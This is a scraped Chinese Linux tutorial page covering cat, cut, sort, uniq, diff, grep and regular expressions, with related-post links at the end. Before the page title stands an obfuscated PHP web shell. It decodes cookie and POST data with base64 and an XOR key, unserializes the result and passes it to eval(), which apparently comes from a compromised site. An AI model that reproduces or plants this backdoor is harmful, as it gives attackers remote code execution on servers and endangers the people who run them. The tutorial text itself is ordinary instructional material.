$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 常用文本处理工具及grep和正则表达式 | Linux运维部落

常用文本处理工具及grep和正则表达式

一、文件查看命令

(1)普通查看工具:cat,tac,rev

 1、cat命令常用选项

   -n:显示行号

   -E:显示行结束符$

   -A:显示所有控制符

 2、tac:从最后一行开始倒序显示

 3、rev:将每一行的内容反转显示

 

(2)分页查看内容:more,less

 less功能比more多

 less是man帮助使用的分页器,用法与man相同

(3)显示文本前或后行内容:head,tail

 1.head与tail通用选项

 -c#:获取指定#字节内容

 -n #或-#:获取指定行数

 2.tail-f:跟踪显示文件新追加内容

二、文本处理工具

(1)按列抽取文本工具:cut

 -c:按字符切割

 -d:按分隔符切割

 -f:指明显示区域

 如,-f1、-f 1,3,5、-f 2-4、-f 1,5-9

 查看passwd文件,显示UID及shell类型

[root@centos7 tmp]# head -5 /etc/passwd |cut -d: -f3,7
0:/bin/bash
1:/sbin/nologin
2:/sbin/nologin
3:/sbin/nologin
4:/sbin/nologin

(2)分析文本的工具:wc,sort,uniq

 1. wc:统计行数,单词数,字符数,字节数

 -l:只统计行数

 -w:只统计单词数

 -m:只统计字符数

 -c:只统计字节数

 如下,分别显示行数,单词数,字符数

[root@centos7 tmp]# wc /etc/passwd
  48   93   2513 /etc/passwd

(3)文本排序工具:sort

 把排序后的文本输出到STDOUT,不改变原文件

 常用选项:

 -n:按数字大小排序

 -h:按人类易读单位排序

 -f:忽略(fold)字符串中的大小写

 -u:删除选项中重复的行

 -t:按指定分隔符

 -k #:按分隔符隔开的第#列进行排序,可重复使用

(4)重复行处理工具:uniq

 常用选项:

 -c:显示每行重复的次数

 -d:仅显示重复的行

 -u:仅显示不重复的行

 常和sort结合使用

 sort|uniq -c

 例子,统计所用用户shell类型使用个数

[root@centos7 ~]# cut -d: -f7 /etc/passwd|uniq -c         #没有sort排序得到错误结果  
      1 /bin/bash
      4 /sbin/nologin
      1 /bin/sync
      1 /sbin/shutdown
      1 /sbin/halt
     35 /sbin/nologin
      4 /bin/bash
      1 /sbin/nologin
[root@centos7 ~]# cut -d: -f7 /etc/passwd|sort|uniq -c   #sort结合uniq使用得到正确结果
      5 /bin/bash
      1 /bin/sync
      1 /sbin/halt
     40 /sbin/nologin
      1 /sbin/shutdown

(5)其他工具:paste,diff,patch

 1.paste:将连个文件同行合并

 2.diff:比较两个文件的区别

 3.patch:复制在其他文件中的改变

diff -u file.old file.new >patch.dd       #将比较信息输出到文件中
patch file.old patch.dd                   #通过补丁对文件更新

三、grep

 grep: Global search REgular expression and Print out the line.

 作用:文本搜索工具,根据用户指定的“模式”对目标文本逐行进行匹配检查;打印匹配到的行;

 egrep等价于grep -E,支持扩展正则表达式

 fgrep等价于grep -F 不支持正则表达式,但速度快

 (1)grep [OPTIONS] PATTERN [FILE…]

 常用选项:

 -n:显示匹配的行号

 -c: 统计匹配的行数

 -v: 显示不能够被pattern匹配到的行

 -o: 仅显示匹配到的字符串

 -i: 忽略字符大小写

 -w:整行匹配整个单词

 -e:实现多个选项间的逻辑or关系

 grep –e ‘cat ’  -e ‘dog’  file

 -q: 静默模式,不输出任何信息

 -A #:after, 后#行

 -B #: before, 前#行

 -C #:context, 前后各#行

 -E:使用ERE

四、正则表达式

 REGEXP:由一类特殊字符及文本字符所编写的模式,其中有些字符(元字符)不表示字符字面意义,

 而表示控制或通配的功能。

 正则表达式分为两类:

 1.基本正则表达式:BRE

 2.扩展正则表达式:ERE

 元字符分类:字符匹配、匹配次数、位置锚定、分组

(1)字符匹配

 –构成模式的基本元素 

 . : 匹配任意单个字符

 []: 匹配指定范围内的任意单个字符

    [0-9],[a-zA-Z],[a-z0-9]…

 [^]:匹配指定范围外的任意单个字符

    [^0-9]非数字

 [:digit:]、[:lower:]、[:upper:]、[:alpha:]、[:alnum:]、[:punct:]、[:space:]

(2)匹配次数

 匹配次数:用在要指定次数的字符后面,用于指定前面的字符要出现的次数

 *:匹配前面的字符任意次,包括0次;贪婪模式:尽可能长的匹配

 .*:任意长度的任意字符

 \?:匹配其前面的字符0或1次     

 \+:匹配其前面的字符至少1次       

 \{m\}:匹配前面的字符m次      

 \{m,n\}:匹配前面的字符至少m次,至多n次

 \{,n\}:匹配前面的字符至多n次

 \{m,\}:匹配前面的字符至少m次

(3)位置锚定

 位置锚定:定位出现的位置;更加精确描述字符的位置

 –这部分用法比较灵活,容易忘记锚定,造成错误匹配

 ^:行首锚定,用于模式的最左侧

 $:行尾锚定,用于模式的最右侧

   ^PATTERN$: 用于模式匹配整行

   ^$: 空行

   ^[[:space:]]*$ :空白行

 \< 或 \b:词首锚定,用于单词模式

 \> 或 \b:词尾锚定;用于单词模式

 \<PATTERN\>:匹配整个单词

(4)分组

 分组:\(\):将一个或多个字符捆绑在一起,当作一个整体进行处理,如:\(root\)\+

 分组括号中的模式匹配到的内容会被正则表达式引擎记w录于内部的变量中,这些变量的命名方式为: \1,\2,\3,  …

 \1: 从左侧起,第一个左括号以及与之匹配右括号之间的模式所匹配到的字符;

 实例: \(string1\+\(string2\)*\)

 \1: string1\+\(string2\)*

 \2: string2

 后向引用:引用前面的分组括号中的模式所匹配字符(而非模式本身)

 例子:添加用户bash、testbash、basher以及nologin(其shell为/sbin/nologin),而后找出/etc/passwd文件中用  户名同shell名的行

[root@centos7 movie]# egrep "^(.*\>).*\1$" /etc/passwd  
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
nologin:x:1005:1005::/home/nologin:/sbin/nologin

 ^(.*\>)——某个开头的单词

 \1$———-以(.*\>)这个单词结尾

 这样就找到符合题意的行

 扩展正则表达式的元字符

(1)字符匹配

 保持不变

(2)匹配次数

 \+ –> +

 \? –> ?

 \{\} –> {}

(3) 位置锚定

 保持不变

(4) 分组

 \(\) –>()

 后向引用:\1,\2,\3…

(5) 或者表示 

 cat|dog :cat或dog

 (C|c)at:Cat或cat

 

 *****牛刀小试****** 

 

 1、显示当前系统root、fly或halt用户的UID和默认shell

 2、找出/etc/rc.d/init.d/functions文件中行首为某单词(包括下划线)后面跟一个小括号的行

 3、使用egrep取出/etc/rc.d/init.d/functions中其基名

 4、使用egrep取出上面路径的目录名

 答案:

 1.egrep "^(root|fly|halt)\>" /etc/passwd|cut -d: -f3,7

 2.egrep "^[a-zA-Z_]+\(\).*" /etc/rc.d/init.d/functions

 3.egrep -o "[^/]+/?$"

 4.egrep -o ".*\<"

原创文章,作者:cutemsyu,如若转载,请注明出处:http://www.178linux.com/31757

(0)
上一篇 2016-08-11 09:37
下一篇 2016-08-11 09:37

相关推荐

  • 整型、浮点型在内存中的存储方式

      在学习C语言的过程中,有时候会想,数据到底是以什么样的方式在内存中存储的呢?经过一段时间的查阅资料,小编终于整理了一些…… 以VC6.0编译器为测试环境(int型为4Byte) 先简介一下大小端模式,具体资料可参考 http://blog.csdn.net/ce123_zhouwei/article/details/6971544  …

    Linux干货 2016-01-14
  • N25-第六周博客作业

    请详细总结vim编辑器的使用并完成以下练习题 1、复制/etc/rc.d/rc.sysinit文件至/tmp目录,将/tmp/rc.sysinit文件中的以至少一个空白字符开头的行的行首加#; [root@han ~]# cp /etc/rc.d/rc.sysinit /tmp [root@han ~]#&n…

    Linux干货 2017-02-16
  • 马哥教育网络班20期+第6周课程练习

    vim编辑器使用总结 一、文件的打开与关闭             打开文件:                 # vim [OPTION]… FILE…      …

    Linux干货 2016-07-17
  • bash的一些特性

    bash的字符串处理工具 字符串切片: ${var:offset:number} 取字符串的子串; 取字符串的最右侧的几个字符:${var: -length} 注意:冒号后必须有一个空白字符; 基于模式取子串; ${var#*word}: 其中word是指定的分隔符;功能:自左而右,查找var变量中所存储的字符串中,第一次出现word分隔符,删除字符串开头至…

    Linux干货 2016-08-24
  • 马哥教育网络班20期+第四周博客作业

    1、复制/etc/skel目录为/home/tuser1,要求/home/tuser1及其内部文件的属组和其它用户均没有任何访问权限。 # cp -R /etc/skel /home/tuser1 # chmod -R go-x /home/tuser1 2、编辑/etc/gro…

    Linux干货 2016-06-29
  • 系统管理之网络管理

    今天给大家分享一些网络方面的知识,,这块的知识很重要哦,都是涉及网络最底层的链路和协议,是我们学习大型服务的基础,和前提.希望大家努力理解这方面的内容,今天的内容大概有这几方面: 1.计算机网络概念 2.计算机网络体系结构 3.物理层 4.数据链路层 5.网络层 6.IP地址及子网 7.传输层 8.应用层 计算机网络概念 计算机网络是个发展中的概念和技术,具…

    Linux干货 2016-09-05